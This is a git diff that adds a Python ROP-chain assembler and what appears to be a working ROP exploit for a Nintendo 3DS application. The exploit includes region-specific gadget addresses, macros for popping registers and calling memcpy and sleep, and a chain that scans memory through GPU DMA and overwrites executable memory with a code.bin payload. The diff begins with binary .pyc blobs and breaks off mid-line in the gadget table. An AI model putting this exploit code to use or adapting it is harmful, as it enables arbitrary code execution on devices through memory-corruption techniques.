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 literal 0 HcmV?d00001 diff --git a/pyrop/__pycache__/builder_base.cpython-36.pyc b/pyrop/__pycache__/builder_base.cpython-36.pyc new file mode 100644 index 0000000000000000000000000000000000000000..3f8fbb1a2848b4e4260ebf26c27a71d804511d2e GIT binary patch literal 7179 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 B>vsSE literal 0 HcmV?d00001 diff --git a/pyrop/base_modules.py b/pyrop/base_modules.py new file mode 100644 index 0000000..7575af6 --- /dev/null +++ b/pyrop/base_modules.py @@ -0,0 +1,357 @@ +from builder_base import user_function, BaseBuilder +from ast import * +from inspect import * +import traceback + +# def get_module(builder, module): +# return type(module.__name__ + builder.__name__, (module, builder,), dict(module.__dict__)) + + +class IncludeModule(BaseBuilder): + def __init__(self): + super().__init__() + self.current_path = "" + + def set_current_path(self, base_path): + self.current_path = os.path.dirname(os.path.abspath(base_path)) + + @user_function + def include(self, incfile: str): + + old = self.current_path + self.current_path = os.path.join(old, os.path.dirname(incfile)) + + path = os.path.join(self.current_path, os.path.basename(incfile)) + sys.path.append(self.current_path) + + try: + content = open(path, "rb").read() + os.chdir(self.current_path) # set the current working directory, for open() etc. + exec(compile(content, path, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while building: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + sys.path.remove(self.current_path) + os.chdir(old) + self.current_path = old + + def load(self, file): + self.set_current_path(file) + super().load(file) + + +class AreaModule(BaseBuilder): + def __init__(self): + super().__init__() + self.areas = [] + + @user_function + def append(self, bytes_l): + super().append(bytes_l) + self.check_areas() + + @user_function + def begin_area(self, size): + if not self.loaded: + return + self.areas.append((len(self.chain), size)) + + @user_function + def end_area(self): + if not self.loaded: + return + self.areas.pop() + + def check_areas(self): + for area in self.areas: + if len(self.chain)-area[0] > area[1]: + raise OverflowError("Area overflowed!") + + +class LabelContext: + def __init__(self, parent, l_locals): + self.locals = l_locals + self.parent = parent + + def setdefault(self, key, value): + self.locals.setdefault(key, value) + + def __getitem__(self, item): + """ + Return the value associated to the label name in the nearest context that contains it. + (search in context then context's parent and then parents of context's parent...) + :param item: label name + :return: address associated to the label + """ + current = self + while current is not None: + if item in current.locals: + return current.locals[item] + current = current.parent + + def __contains__(self, item): + """ + Override 'in' operator, search the label in the local dict and all the parents dicts. + :param item: label to search + :return: True if label is found, False otherwise + """ + current = self + while current is not None: + if item in current.locals: + return True + current = current.parent + return False + + +class Macro: + + def __init__(self): + self.total_count = 0 + self.current_instance = 0 + self.instance_contexts = [] + + def add_instance(self, context): + """ + Add a new instance. + :param context: instance label context + :return: None + """ + self.instance_contexts.append(context) + self.total_count += 1 + + def reset_current_instance(self): + """ + Reset the current_instance counter. + :return: None + """ + self.current_instance = 0 + + def get_last_instance(self): + """ + Get the last instance added. + :return: macro's last instance + """ + return self.instance_contexts[-1] + + def get_next_instance(self): + """ + Get the current instance, then increment the current_instance value. + :return: current instance label context + """ + self.current_instance += 1 + return self.instance_contexts[self.current_instance - 1] + + +class LabelModule(BaseBuilder): + def __init__(self): + super().__init__() + self.context_stack = [] + + self.global_context = dict() + self.current_context = self.global_context + + self.macros = dict() + + def load(self, file): + self.parse_labels(open(file).read()) + self.user_functions.update(self.global_context) + super().load(file) + self.user_functions.update(self.global_context) + + def __setitem__(self, name: str, address: int): + """ + Add a label to the current context. + Override [] assignment. + :param name: label name + :param address: label address + :return: None + """ + if self.loaded: + return + + if address is None: + address = self.mem_offset + elif address.bit_length() > 32: + raise ValueError("Label address should be 32 bits long!") + + self.current_context[name] = address + self.user_functions.update(self.current_context) + + def __getitem__(self, name): + """ + Get address associated to the label name in current_context. + :param name: label name + :return: address associated to label + """ + if name not in self.current_context: + raise KeyError("Trying to use an undefined label!") + return self.current_context[name] + + def __contains__(self, item): + """ + Override 'in' operator. + :param item: label name + :return: True if current_context contains the label, False otherwise + """ + return item in self.current_context + + def get_current_context(self): + return self.current_context + + def register_macro(self, name: str): + """ + Register a new macro in the macros dict. + :param name: macro's name + :return: None + """ + self.macros.setdefault(name, Macro()) + + def add_macro_context(self, name: str, context: dict = None): + """ + Add a new instance/context to a Macro object + :param name: macro's name + :param context: macro's label context, default = dict() + :return: None + """ + if context is None: + context = dict() + self.macros[name].add_instance(dict()) + + def switch_context(self, context): + """ + Switch the current context. + :param context: the new context + :return: None + """ + self.context_stack.append(self.current_context) + self.current_context = context + + def restore_context(self): + """ + Restore the previous context. + :return: None + """ + self.current_context = self.context_stack.pop() + + @user_function + def put_label(self, name: str, address: int = None): + if type(name) is not str: + raise ValueError("Label name expected, " + type(name).__name__ + " was given!") + self[name] = address + + @user_function + def get_label(self, name: str): + return self[name] + + def parse_labels(self, source): + tree = parse(source, "", 'exec') + for node in walk(tree): + if isinstance(node, Call): + id = node.func.id if isinstance(node.func, Name) else node.func.attr + if id == "put_label" and node.args and isinstance(node.args[0], Str): + name = node.args[0].s + if name in self.current_context: + raise NameError("Label name already used!") + self.current_context.setdefault(name, 0) + + + + @user_function + def macro(self, func): + """ + The macro function decorator. + :param func: macro function + :return: the wrapped function + """ + self.register_macro(func.__name__) + + def wrapper(*args, **kwargs): + old = func.__globals__.copy() + for key in self.current_context.keys(): + del func.__globals__[key] + + if not self.loaded: + self.add_macro_context(func.__name__) + self.switch_context(self.macros[func.__name__].get_last_instance()) + self.parse_labels(getsource(func)) + + else: + self.switch_context(self.macros[func.__name__].get_next_instance()) + + func.__globals__.update(self.current_context) + func(*args, **kwargs) + func.__globals__.clear() + func.__globals__.update(old) + + self.restore_context() + + wrapper.original = func.original if hasattr(func, 'original') else func + return wrapper + + +class PopModule(BaseBuilder): + def __init__(self): + super().__init__() + self.pop_macros = dict() + self.current_count = 0 + + def append_stub(self, other): + self.current_count += len(other) + + @user_function + def pop_macro(self, func): + wrapped_func = func + original_func = func.original if hasattr(func, 'original') else func + + args = signature(original_func).parameters.keys() + if set(args) - {"r"+str(i) for i in range(16)}: + raise Exception("Non register argument found in pop_macro!") + + self.current_count = 0 + append = self.append + self.append = self.append_stub + + wrapped_func(**({name: 0 for name in args})) + self.append = append + + self.pop_macros[original_func.__name__] = (func, set(args), self.current_count) + return func + + @user_function + def pop(self, **registers): + reg_set = set(registers.keys()) + if reg_set - {"r"+str(i) for i in range(16)}: + raise Exception("Trying to pass non register argument to a pop_macro!") + candidates = {name: infos for name, infos in self.pop_macros.items() if infos[1] & reg_set} + pop_stack = [] + while reg_set: + pop_stack.append(self.find_best(candidates, reg_set)) + if pop_stack[-1] is None: + raise Exception("Could not find pop_macro to pop register(s): " + str(reg_set)) + reg_set -= self.pop_macros[pop_stack[-1]][1] + for func in pop_stack: + candidates[func][0](**{reg: registers.get(reg, 0x0) for reg in candidates[func][1]}) + # if the value to pop isn't specified, then pop 0x0, for example when you only have pop {r2-r6, pc} to pop + # r2 then 0x0 will be popped to r3-r6 + print(pop_stack) + + @staticmethod + def find_best(candidates, regs): + name = None + best_rate = 0 + total_pop = 16 + for func, infos in candidates.items(): + nb = len(regs & infos[1]) + rate = nb/infos[2] + if nb == 0: + continue + if best_rate < rate or (best_rate == rate and len(infos[1]) <= total_pop): + name = func + best_rate = rate + total_pop = len(infos[1]) + return name diff --git a/pyrop/builder_base.py b/pyrop/builder_base.py new file mode 100644 index 0000000..23688fb --- /dev/null +++ b/pyrop/builder_base.py @@ -0,0 +1,173 @@ +import traceback +import os +import sys + +modules_user_functions = dict() + + +def user_function(func): + infos = func.__qualname__.rsplit('.', 1) + modules_user_functions.setdefault(infos[0], dict()) + modules_user_functions[infos[0]][infos[1]] = func + return func + + +class BaseBuilder: + @classmethod + def create(cls, name, *modules): + def init(self): + super(builder, self).__init__() + + builder = type(name, tuple(modules) + (cls,), {"__init__": init}) + return builder() + + def __new__(cls, *args, **kwargs): + instance = object.__new__(cls) + instance.chain = None + instance.mem_offset = 0 + instance.loaded = False + instance.built = False + instance.user_functions = dict() + return instance + + def __init__(self): + for base in reversed(self.__class__.__mro__): + base_user_func = modules_user_functions.get(base.__qualname__, dict()) + self.user_functions.update({name: base.__dict__[name].__get__(self, self.__class__) + for name, func in base_user_func.items()}) + + def set_mem_offset(self, offset): + pass + + def append(self, other): + pass + + def load(self, file): + pass + + def build(self, file): + pass + + +class BasicBuilder(BaseBuilder): + def __init__(self): + super().__init__() + self.chain = [] + self.mem_offset = 0 + + @user_function + def set_mem_offset(self, offset: int): + self.mem_offset = offset + + def append(self, bytes_l): + self.mem_offset += len(bytes_l) + if self.loaded: + self.chain += bytes_l + + def add_value(self, word: int, byte_size: int = 4): + if byte_size < 1: + raise ValueError("Size of word should be greater than zero!") + + bit_size = byte_size * 8 + if word.bit_length() > bit_size: + raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") + + self.append((word if self.loaded else 0).to_bytes(byte_size, 'little')) + + @user_function + def add_word(self, word): + self.add_value(word, 4) + + @user_function + def add_halfword(self, word): + self.add_value(word, 2) + + @user_function + def add_byte(self, byte): + self.add_value(byte, 1) + + @user_function + def incbin(self, incfile: str): + self.append(open(incfile, 'rb').read()) + + @user_function + def org(self, address: int): + if address < self.mem_offset: + raise ValueError("Trying to ORG backwards!") + + self.append([0x0 for i in range(address - self.mem_offset)]) + + @user_function + def align(self, value: int): + self.append([0 for i in range((value - (self.mem_offset % value)) % value)]) + + @user_function + def fill(self, size: int, value: int, v_byte_size: int = 1): + if v_byte_size < 1: + raise ValueError("Size of value should be greater than zero!") + + bit_size = v_byte_size * 8 + if value.bit_length() > bit_size: + raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") + + self.append((value.to_bytes(v_byte_size, 'little') * ((size // v_byte_size) + 1))[:size]) + + @user_function + def add_ascii(self, string: str): + self.add_str(string) + + @user_function + def add_utf16(self, string: str): + self.add_str(string, 'utf_16_le') + + @user_function + def add_str(self, string: str, encoding: str = 'us-ascii'): + self.append([c for c in string.encode(encoding)]) + + def build(self, file): + if self.built: + raise PermissionError("You cannot build multiple times!") + + if not self.loaded: + self.load(file) + + old = os.getcwd() + sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call + try: + content = open(file, "rb").read() + os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. + exec(compile(content, file, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while building: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + os.chdir(old) + sys.path.remove(os.path.dirname(os.path.abspath(file))) + self.built = True + + def load(self, file): + if self.loaded: + return + + sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call + old = os.getcwd() + try: + content = open(file, "rb").read() + os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. + exec(compile(content, file, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while loading: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + os.chdir(old) + sys.path.remove(os.path.dirname(os.path.abspath(file))) + self.loaded = True + self.mem_offset = 0 diff --git a/pyrop/pyrop.py b/pyrop/pyrop.py new file mode 100644 index 0000000..63a8b1f --- /dev/null +++ b/pyrop/pyrop.py @@ -0,0 +1,17 @@ +import sys +from ast import * +from builder_base import * +from base_modules import * + +cmdargs = sys.argv +if len(cmdargs) != 3: + print("Usage: pyRop.py input_file output_file") + +builder = BasicBuilder.create('Test', IncludeModule, AreaModule, LabelModule, PopModule) +builder.build(cmdargs[1]) + +os.makedirs(os.path.dirname(os.path.abspath(cmdargs[2])), exist_ok=True) +output_file = open(cmdargs[2], 'wb') +output_file.write(bytes(builder.chain)) +output_file.close() + diff --git a/rop/Makefile b/rop/Makefile new file mode 100644 index 0000000..c3d48c2 --- /dev/null +++ b/rop/Makefile @@ -0,0 +1,7 @@ +all: build/rop.bin + +build/rop.bin: rop.py macros.py constants.py + @python3 $(PYROP)/pyrop.py rop.py build/rop.bin + +clean: + @rm -rf build diff --git a/rop/__pycache__/constants.cpython-35.pyc b/rop/__pycache__/constants.cpython-35.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2868e5e9db4b5e5a5fdafb1a04eec6f64f6dd513 GIT binary patch literal 452 zcmX|;%}&BV6oqfgf00N`bSqmHT7-=YV;I^&o0N9aDMV&dtJB2BLJ1(k-k0zZOx*c0 zrdu}n2FAq1!2ok}zkBY<$z+l_DwPzndhP!Lz*6+?NJ2G5PuAc7Oi%(Q0hfWvz*E3d zz|+9ez%#%yz_Y-zz;nQI!1KWJzze_%z!jj?V)*_cLHIe7A$)n3;cF#s4X>AC6`~f_ z;QKg)vhd)xF3>y&tE#X)*Kkej+3hyPE-UJoYTMjJO)r)6pWyUkqaY6a|;-|Ck&IWTj2XTlEK` CD{^%J literal 0 HcmV?d00001 diff --git a/rop/constants.py b/rop/constants.py new file mode 100644 index 0000000..81d32f7 --- /dev/null +++ b/rop/constants.py @@ -0,0 +1,11 @@ +TITLE_OFFSET = 0x1B3AC +DESC_OFFSET = 0x276D8 +PUBLIC_RELEASE_OFFSET = 0x27784 +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 + +LINEAR_BUFFER = 0x30000000 +APPMEMTYPE = 0x1FF80030 +SCANLOOP_STRIDE = 0x1000 +CODEBIN_MAX_SIZE = 0x326000 +PAYLOAD_VA = 0x384000 diff --git a/rop/macros.py b/rop/macros.py new file mode 100644 index 0000000..37ecbc0 --- /dev/null +++ b/rop/macros.py @@ -0,0 +1,84 @@ +include("../ropdb/DB.py") + +def garbage(n): + for i in range(n): + add_word(0xDEAC0DE) + +def memcpy(dest, src, size): + SET_LR(NOP) + pop(r0=dest, r1=src, r2=size) + add_word(MEMCPY) + +def memcmp(buf1, buf2, size): + SET_LR(NOP) + pop(r0=buf1, r1=buf2, r2=size) + add_word(MEMCMP) + +@pop_macro +def POP_R0(r0): + add_word(POP_R0PC) + add_word(r0) + +@pop_macro +def POP_R1(r1): + add_word(POP_R1PC) + add_word(r1) + +@pop_macro +def POP_R4(r4): + add_word(POP_R4PC) + add_word(r4) + +@pop_macro +def POP_R2R3R4R5R6(r2, r3, r4, r5, r6): + add_word(POP_R2R3R4R5R6PC) + add_word(r2) + add_word(r3) + add_word(r4) + add_word(r5) + add_word(r6) + +def SET_LR(lr): + POP_R1(NOP) + add_word(POP_R4LR_BX_R1) + add_word(0xDEADC0DE) #r4 garbage + add_word(lr) + +def deref_to_r0(addr): + POP_R0(addr) + add_word(LDR_R0R0_POP_R4PC) + add_word(0xDEADC0DE) + +def add_r0(value): + POP_R1(value) + add_word(ADD_R0R0R1_POP_R4PC) + add_word(0xDEADC0DE) + +def compare_r0_0(): + add_word(CMP_R0_0_MOVNE_R0_1_POP_R4PC) + add_word(0xDEADC0DE) + +def store(value, addr): + pop(r0=value, r4=addr) + add_word(STR_R0R4_POP_R4PC) + add_word(0xDEADC0DE) + +def store_if_equal(value, addr): + pop(r0=value, r4=addr-4) + add_word(STREQ_R0R4_4_POP_R4R5R6PC) + garbage(3) + +def store_r0(addr): + POP_R4(addr) + add_word(STR_R0R4_POP_R4PC) + add_word(0xDEADC0DE) + +def sleep(tl, th=0): + SET_LR(NOP) + pop(r0=tl, r1=th) + add_word(SVC_SLEEPTHREAD) + +def flush_dcache(addr, size): + pop(r0=addr, r1=size) + add_word(GSPGPU_FLUSHDATACACHE_WRAPPER+0x4) + garbage(3) diff --git a/rop/rop.py b/rop/rop.py new file mode 100644 index 0000000..625f8c5 --- /dev/null +++ b/rop/rop.py @@ -0,0 +1,103 @@ +include("../ropdb/DB.py") +from constants import * +import os +include("macros.py") + +LOOP_DST = LINEAR_BUFFER + 0x1D00000 +INITIAL_DST = LINEAR_BUFFER + 0x1B00000 + +set_mem_offset(ROP_PTR) + +put_label("start") + +deref_to_r0(APPMEMTYPE) +add_r0(0x100000000-0x6) +compare_r0_0() +store_if_equal(LINEAR_BUFFER + 0x07C00000 - CODEBIN_MAX_SIZE, loop_src) +store(SVC_EXITTHREAD, ANNOYING_THREAD_KILL) + +put_label("scan_loop") + +add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) +add_word(0x4) +put_label("loop_src") +add_word(LINEAR_BUFFER + 0x04000000 - CODEBIN_MAX_SIZE) +add_word(LOOP_DST) +add_word(SCANLOOP_STRIDE) +add_word(0xFFFFFFFF) +add_word(0xFFFFFFFF) +add_word(0x8) +add_word(0x0) + +add_word(0x0) + +garbage(4) + +sleep(200*1000) + +store(GSPGPU_GXTRYENQUEUE_WRAPPER, scan_loop) +flush_dcache(LOOP_DST, SCANLOOP_STRIDE) + +memcmp(LOOP_DST, PAYLOAD_VA, 0x20) +compare_r0_0() +store_if_equal(NOP, loop_pivot) + +deref_to_r0(loop_src) +add_r0(SCANLOOP_STRIDE) #next mempage +store_r0(loop_src) + +pop(r0=NOP_ptr_min_0x8) + +pop(r0=scan_loop, r1=NOP) +put_label("loop_pivot") +add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) + + +deref_to_r0(loop_src) +add_r0(0x100000000 - SCANLOOP_STRIDE) #after the scanloop is broken, magicval is at *(loop_src) - SCANLOOP_STRIDE +store_r0(final_dst) #store the location for the final gspwn + +memcpy(INITIAL_DST, CODE_PTR, os.path.getsize('../code/code.bin')) + +flush_dcache(INITIAL_DST, 0x100000) + +add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) +add_word(0x4) +add_word(INITIAL_DST) +put_label("final_dst") +add_word(0xDEADC0DE) +add_word(0x2000) +add_word(0xFFFFFFFF) +add_word(0xFFFFFFFF) +add_word(0x8) +add_word(0x0) + +add_word(0x0) + +garbage(4) + + + +put_label("check_loop") + +sleep(200*1000) + +memcmp(CODE_PTR, PAYLOAD_VA, 0x2000) +compare_r0_0() +store_if_equal(NOP, check_loop_pivot) + +pop(r0=check_loop, r1=NOP) +put_label("check_loop_pivot") +add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) + + + +add_word(PAYLOAD_VA) + +put_label("NOP_ptr_min_0x8") +add_word(NOP_ptr_min_0x8) + +add_word(0x0) +add_word(NOP) + +put_label("end") diff --git a/ropdb/EUR.py b/ropdb/EUR.py new file mode 100644 index 0000000..d6d6f93 --- /dev/null +++ b/ropdb/EUR.py @@ -0,0 +1,63 @@ +MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x216000 +LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1F615C +LDRD_ROR1R4_8_BLX_R2 = 0x11E740 + +MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16E978 + +NOP = 0x297DFC +POP_R0PC = 0x10FBE4 +POP_R1PC = 0x28BE28 +POP_R3PC = 0x117D10 +POP_R4PC = 0x1042B8 +POP_R4R5PC = 0x108284 +POP_R4R5R6PC = 0x104264 +POP_R2R3R4R5R6PC = 0x277C10 +POP_R4R5R6R7R8R9R10R11R12PC = 0x29C95C + +POP_R4LR_BX_R1 = 0x12355C + +SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x393144 + +LDR_R0R0_POP_R4PC = 0x20D778 +LDR_R0R4_POP_R4PC = 0x13897C +STR_R0R4_POP_R4PC = 0x1301FC +ADD_R0R0R4_POP_R4R5R6PC = 0x12C1A4 +ADD_R0R0R1_POP_R4PC = 0x18BC28 + +CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10FD38 +STREQ_R0R4_4_POP_R4R5R6PC = 0x37568C + +MEMCPY = 0x28B954 +MEMCMP = 0x259914 + +SVC_SLEEPTHREAD = 0x273D6C +SVC_EXITTHREAD = 0x11E76C + +GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120A00 +GSPGPU_GXTRYENQUEUE = 0x278A34 +GSPGPU_SETTEXTURECOPY = 0x120C70 #GXCMD4 +GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118A10 +GSPGPU_FLUSHDATACACHE = 0x120F94 +GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 +GSPGPU_HANDLE = 0x3F67F0 + +DSP_UNLOADCOMPONENT = 0x278C1C +DSP_REGISTERINTERRUPTEVENTS = 0x2FB604 +DSP_HANDLE = 0x3F67B4 + +#OFFSET/PTR +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 +SECTION1_PTR = 0x08A67E84 +FILE_PTR = SECTION1_PTR - SECTION1_OFFSET +SECTION2_PTR = FILE_PTR + SECTION2_OFFSET +OTHERAPP_PTR = 